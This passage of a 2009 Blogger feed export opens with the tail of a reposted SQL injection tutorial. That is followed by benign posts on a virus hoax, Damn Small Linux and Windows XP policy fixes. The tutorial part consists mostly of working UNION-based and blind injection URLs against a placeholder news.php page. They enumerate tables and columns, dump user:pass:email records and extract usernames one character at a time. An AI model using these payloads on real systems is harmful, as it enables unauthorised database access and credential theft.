1,table_name,3 from information_schema.tables limit 0,1/*&lt;br /&gt;&lt;br /&gt;note that i put 0,1 (get 1 result starting from the 0th)&lt;br /&gt;&lt;br /&gt;now to view the second table, we change limit 0,1 to limit 1,1&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*&lt;br /&gt;&lt;br /&gt;the second table is displayed.&lt;br /&gt;&lt;br /&gt;for third table we put limit 2,1&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*&lt;br /&gt;&lt;br /&gt;keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D&lt;br /&gt;&lt;br /&gt;To get the column names the method is the same.&lt;br /&gt;&lt;br /&gt;here we use column_name and information_schema.columns&lt;br /&gt;&lt;br /&gt;the method is same as above so example would be&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*&lt;br /&gt;&lt;br /&gt;the first column is diplayed.&lt;br /&gt;&lt;br /&gt;the second one (we change limit 0,1 to limit 1,1)&lt;br /&gt;&lt;br /&gt;ie.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*&lt;br /&gt;&lt;br /&gt;the second column is displayed, so keep incrementing until you get something like&lt;br /&gt;&lt;br /&gt;username,user,login, password, pass, passwd etc... :D&lt;br /&gt;&lt;br /&gt;if you wanna display column names for specific table use this query. (where clause)&lt;br /&gt;&lt;br /&gt;let's say that we found table users.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*&lt;br /&gt;&lt;br /&gt;now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.&lt;br /&gt;&lt;br /&gt;Note that this won't work if the magic quotes is ON.&lt;br /&gt;&lt;br /&gt;let's say that we found colums user, pass and email.&lt;br /&gt;&lt;br /&gt;now to complete query to put them all together :D&lt;br /&gt;&lt;br /&gt;for that we use concat() , i decribe it earlier.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*&lt;br /&gt;&lt;br /&gt;what we get here is user:pass:email from table users.&lt;br /&gt;&lt;br /&gt;example: admin:hash:whatever@blabla.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's all in this part, now we can proceed on harder part :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Blind SQL Injection&lt;br /&gt;&lt;br /&gt;Blind injection is a little more complicated the classic injection but it can be done :D&lt;br /&gt;&lt;br /&gt;I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D&lt;br /&gt;&lt;br /&gt;Let's start with advanced stuff.&lt;br /&gt;&lt;br /&gt;I will be using our example&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5&lt;br /&gt;&lt;br /&gt;when we execute this, we see some page and articles on that page, pictures etc...&lt;br /&gt;&lt;br /&gt;then when we want to test it for blind sql injection attack&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and 1=1 &lt;--- this is always true&lt;br /&gt;&lt;br /&gt;and the page loads normally, that's ok.&lt;br /&gt;&lt;br /&gt;now the real test&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and 1=2 &lt;--- this is false&lt;br /&gt;&lt;br /&gt;so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.&lt;br /&gt;&lt;br /&gt;1) Get the MySQL version&lt;br /&gt;&lt;br /&gt;to get the version in blind attack we use substring&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4&lt;br /&gt;&lt;br /&gt;this should return TRUE if the version of MySQL is 4.&lt;br /&gt;&lt;br /&gt;replace 4 with 5, and if query return TRUE then the version is 5.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5&lt;br /&gt;&lt;br /&gt;2) Test if subselect works&lt;br /&gt;&lt;br /&gt;when select don't work then we use subselect&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and (select 1)=1&lt;br /&gt;&lt;br /&gt;if page loads normally then subselects work.&lt;br /&gt;&lt;br /&gt;then we gonna see if we have access to mysql.user&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1&lt;br /&gt;&lt;br /&gt;if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.&lt;br /&gt;&lt;br /&gt;3). Check table and column names&lt;br /&gt;&lt;br /&gt;This is part when guessing is the best friend :)&lt;br /&gt;&lt;br /&gt;i.e.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)&lt;br /&gt;&lt;br /&gt;then if the page loads normally without content missing, the table users exits.&lt;br /&gt;if you get FALSE (some article missing), just change table name until you guess the right one :)&lt;br /&gt;&lt;br /&gt;let's say that we have found that table name is users, now what we need is column name.&lt;br /&gt;&lt;br /&gt;the same as table name, we start guessing. Like i said before try the common names for columns.&lt;br /&gt;&lt;br /&gt;i.e&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1&lt;br /&gt;&lt;br /&gt;if the page loads normally we know that column name is password (if we get false then try common names or just guess)&lt;br /&gt;&lt;br /&gt;here we merge 1 with the column password, then substring returns the first character (,1,1)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4). Pull data from database&lt;br /&gt;&lt;br /&gt;we found table users i columns username password so we gonna pull characters from that.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;80&lt;br /&gt;&lt;br /&gt;ok this here pulls the first character from first user in table users.&lt;br /&gt;&lt;br /&gt;substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value&lt;br /&gt;&lt;br /&gt;and then compare it with simbol greater then &gt; .&lt;br /&gt;&lt;br /&gt;so if the ascii char greater then 80, the page loads normally. (TRUE)&lt;br /&gt;&lt;br /&gt;we keep trying until we get false.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;95&lt;br /&gt;&lt;br /&gt;we get TRUE, keep incrementing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;98&lt;br /&gt;&lt;br /&gt;TRUE again, higher&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99&lt;br /&gt;&lt;br /&gt;FALSE!!!&lt;br /&gt;&lt;br /&gt;so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.&lt;br /&gt;&lt;br /&gt;then let's check the second character.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))&gt;99&lt;br /&gt;&lt;br /&gt;Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99&lt;br /&gt;&lt;br /&gt;TRUE, the page loads normally, higher.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;107&lt;br /&gt;&lt;br /&gt;FALSE, lower number.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;104&lt;br /&gt;&lt;br /&gt;TRUE, higher.&lt;br /&gt;&lt;br /&gt;http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;105&lt;br /&gt;&lt;br /&gt;FALSE!!!&lt;br /&gt;&lt;br /&gt;we know that the second character is char(105) and that is 'i'. We have 'ci' so far&lt;br /&gt;&lt;br /&gt;so keep incrementing until you get the end. (when &gt;0 returns false we know that we have reach the end).&lt;br /&gt;&lt;br /&gt;There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,&lt;br /&gt;&lt;br /&gt;cause that makes you better SQL INJECTOR :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hope you learned something from this paper.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have FUN! (:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To be continued and updated...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;milw0rm.com [2008-05-22]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7353384028885644018?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/R-mG1EuJrbU" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/JUIM1OraOrw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7353384028885644018/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/05/sql-injection-i.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7353384028885644018?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7353384028885644018?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/JUIM1OraOrw/sql-injection-i.html" title="SQL Injection part - 1" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/05/sql-injection-i.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/R-mG1EuJrbU/sql-injection-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak4HR3Y8eCp7ImA9WxVbF0s.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-4287168506482655506</id><published>2009-04-03T03:45:00.001-07:00</published><updated>2009-04-03T07:28:56.870-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-03T07:28:56.870-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><title>Virus Hoax: Jdbgmgr.exe Is Not a Virus</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;This email hoax urges users to delete this necessary file from their computer. It may also make reference to a Teddy Bear icon, which is the standard icon for that file. The file is actually the Microsoft Debugger Registrar for Java, and should not be deleted.    &lt;br /&gt;&lt;br /&gt;This hoax has appeared in several languages.&lt;br /&gt;&lt;br /&gt;The email is similar to the following one:&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;To all of my email contacts,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Unfortunately a virus has been passed to me and many other people, you may already have it from some other source - through an address book virus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;which also infected my address book. Since you are in my address book, you will probably find it in your computer, too. The virus (called jdbg.exe) is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;not detected by Norton or McAfee Anti-virus systems.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The virus sits quietly for 14 days before damaging the system. It is sent automatically by 'messenger' and by address book, whether or not you sent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;e-mail to your contacts. Basically, that means you will pass it along Unknowingly, as I did. I was sent this email and am now passing it on to you as to how to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;check for the virus and how to get rid of it. Please do this! It's very simple to do and takes about 3 mins&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Go to Start, then click your 'Find' or 'Search' option&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. In the folder option, type the name... jdbgmgr.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Be sure to search your C. Drive and all the sub folders and any other drives you may have&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Click 'Find Now'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5. The virus has a teddy bear icon with the name jdbgmgr.exe Do not open it!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6. Go to Edit (on the menu bar) and choose "Select All" to highlight the file without opening it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7. Now go to File (on the menu bar) and select delete. It will then go to the recycle bin.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;If you find the virus, you must contact all the people in your Address Book so that they may eradicate the virus from their own address books.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;To do this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Open a new e-mail message&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. click the icon Address Book next to 'TO'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Highlight every name and add to "BCC"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Copy this message and paste to e-mail&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;This will affect everyone in your address book. So send it now!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 id="tocHeadRef"&gt;Prevention&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;This is a hoax; no prevention is required.&lt;br /&gt;&lt;br /&gt;Please ignore any messages regarding this hoax and do not pass on messages. Passing on messages about the hoax only serves to further propagate it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to Repair the file if I deleted it?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Unless you are a Java developer, the absence of the file should not create any problems, however if do encounter problems with Java applications, you'll need to reinstall it. Regardless of the Windows version you are running, you can download the Sun Java Virtual Machine  to regain functionality.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-4287168506482655506?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/APTuys_wWT4" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/kQIxyVjEzcA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/4287168506482655506/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/04/virus-hoax-jdbgmgrexe-is-not-virus_03.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/4287168506482655506?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/4287168506482655506?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/kQIxyVjEzcA/virus-hoax-jdbgmgrexe-is-not-virus_03.html" title="Virus Hoax: Jdbgmgr.exe Is Not a Virus" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/04/virus-hoax-jdbgmgrexe-is-not-virus_03.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/APTuys_wWT4/virus-hoax-jdbgmgrexe-is-not-virus_03.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08FRnY_eyp7ImA9WxVbF0g.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-5789336076106010926</id><published>2009-04-01T02:35:00.000-07:00</published><updated>2009-04-03T04:56:57.843-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-03T04:56:57.843-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gnu/Linux" /><title>What is DSL?</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/SdNIH68smrI/AAAAAAAAAvQ/ZYA9mxDOygA/s1600-h/DSL.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 150px; height: 115px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/SdNIH68smrI/AAAAAAAAAvQ/ZYA9mxDOygA/s400/DSL.jpg" alt="" id="BLOGGER_PHOTO_ID_5319674885774809778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Damn Small Linux is a very versatile 50MB mini desktop oriented Linux distribution.&lt;br /&gt;&lt;br /&gt;It was designed to run graphical applications on older PC hardware—for example, machines with 486/early Pentium processors and very little memory.&lt;br /&gt;&lt;br /&gt;DSL is a Live CD.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EuF7ehVkjUU/SdM2MQ4RGGI/AAAAAAAAAvI/2HjPNzF0co8/s1600-h/Dam_Small_Linux.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 250px; height: 187px;" src="http://4.bp.blogspot.com/_EuF7ehVkjUU/SdM2MQ4RGGI/AAAAAAAAAvI/2HjPNzF0co8/s400/Dam_Small_Linux.JPG" alt="" id="BLOGGER_PHOTO_ID_5319655169171986530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Boot from within a host operating system&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It can run inside Windows&lt;br /&gt;&lt;br /&gt;You must first download the embedded version (55Mb) at: &lt;a href="ftp://ftp.heanet.ie/mirrors/damnsmalllinux.org/current/"&gt;HEAnet FTP. &lt;/a&gt;&lt;br /&gt;Then unzip the zip file anywhere in the PC.&lt;br /&gt;Click on &lt;span style="font-weight: bold; font-style: italic;"&gt;dsl-base.bat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;DSL starts as if it installed on your hard drive.&lt;br /&gt;&lt;br /&gt;Also, if your computer is already connected, DSL-Embedded automatically recognize your connection.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Boot from a USB pen drive.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Download the &lt;a href="http://distro.ibiblio.org/pub/linux/distributions/damnsmall/archive/dsl-4.4-embedded.zip"&gt;dsl-embedded.zip&lt;/a&gt; and extract the contents using 7-Zip to&lt;br /&gt;  your USB flash drive&lt;br /&gt;2. Download &lt;a href="http://www.kernel.org/pub/linux/utils/boot/syslinux/Old/syslinux-3.36.zip"&gt;syslinux-3.36.zip&lt;/a&gt; and unzip the files to your computer in syslinux&lt;br /&gt;  directory (You must create syslinux directory).&lt;br /&gt;3. From Windows click start &gt;&gt; run &gt;&gt; type &lt;span style="font-weight: bold; font-style: italic;"&gt;cmd&lt;br /&gt;4. From the command window, type &lt;span style="font-weight: bold; font-style: italic;"&gt;cd \syslinux\win32&lt;br /&gt;5. Type &lt;span style="font-weight: bold; font-style: italic;"&gt;syslinux.exe -ma X:&lt;/span&gt; (replace X with your USB drive letter) to make&lt;br /&gt;  the drive bootable&lt;br /&gt;6. Reboot your computer and set your system BIOS or Boot Menu to boot from&lt;br /&gt;  the USB device.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-5789336076106010926?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/pMRZpBdeIWI" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/jVCgBBzPcNg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/5789336076106010926/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/04/what-is-dsl.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5789336076106010926?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5789336076106010926?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/jVCgBBzPcNg/what-is-dsl.html" title="What is DSL?" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_EuF7ehVkjUU/SdNIH68smrI/AAAAAAAAAvQ/ZYA9mxDOygA/s72-c/DSL.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/04/what-is-dsl.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/pMRZpBdeIWI/what-is-dsl.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08MR387cSp7ImA9WxVbF0g.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7667527036513866124</id><published>2009-03-28T09:50:00.000-07:00</published><updated>2009-04-03T04:58:06.109-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-03T04:58:06.109-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xp" /><title>Fix Some Missing Options In XP</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;I. Registry editing has been disabled by your administrator.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sc5clR8zOVI/AAAAAAAAAug/6dy96Ua6hwM/s1600-h/regedit-disabled-by-admin.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 108px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sc5clR8zOVI/AAAAAAAAAug/6dy96Ua6hwM/s400/regedit-disabled-by-admin.jpg" alt="" id="BLOGGER_PHOTO_ID_5318290005514467666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fix:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Open Start Menu &gt;&gt; Run, type: &lt;span style="font-weight: bold; font-style: italic;"&gt;gpedit.msc&lt;/span&gt; and press Enter key.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s1600-h/Registry+Editing+has+been+disabled+by+your+administrator.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 185px;" src="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s400/Registry+Editing+has+been+disabled+by+your+administrator.JPG" alt="" id="BLOGGER_PHOTO_ID_5318291292703381122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Navigate to&lt;br /&gt;&lt;br /&gt;User Configuration\Administrative Templates\System\&lt;br /&gt;&lt;br /&gt;3. In the right side of the screen double click “Prevent Access To Registry Editing Tools" and select  Disabled.&lt;br /&gt;&lt;br /&gt;and press Enter key.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. Task Manager&lt;/span&gt; &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;has been disabled by your administrator&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sc5dGgjKzXI/AAAAAAAAAuw/vr_eaeP7heI/s1600-h/windowslivewritertaskmanagerhasbeendisablebyyouradministr-2f19taskmanager-error4.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 148px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sc5dGgjKzXI/AAAAAAAAAuw/vr_eaeP7heI/s400/windowslivewritertaskmanagerhasbeendisablebyyouradministr-2f19taskmanager-error4.gif" alt="" id="BLOGGER_PHOTO_ID_5318290576369175922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;" class="fullpost"&gt;Fix:&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. Open Start Menu &gt;&gt; Run, type: &lt;span style="font-weight: bold; font-style: italic;"&gt;gpedit.msc&lt;/span&gt; and press Enter key.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s1600-h/Registry+Editing+has+been+disabled+by+your+administrator.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 185px;" src="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s400/Registry+Editing+has+been+disabled+by+your+administrator.JPG" alt="" id="BLOGGER_PHOTO_ID_5318291292703381122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Navigate to User Configuration\Administrative Templates\System\Ctrl+Alt+Del Options&lt;br /&gt;&lt;br /&gt;3. In the right side of the screen double click "Remove Task Manager”and select  Disabled.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sc5c-vQUNkI/AAAAAAAAAuo/CnAEysdgoR4/s1600-h/enable-task-manager.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 299px;" src="http://3.bp.blogspot.com/_EuF7ehVkjUU/Sc5c-vQUNkI/AAAAAAAAAuo/CnAEysdgoR4/s400/enable-task-manager.png" alt="" id="BLOGGER_PHOTO_ID_5318290442877679170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III. Shutdown option missing in windows&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5eG19YgtI/AAAAAAAAAvA/vrPTtLLKfz0/s1600-h/shutdowngreyedout_thumb.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: 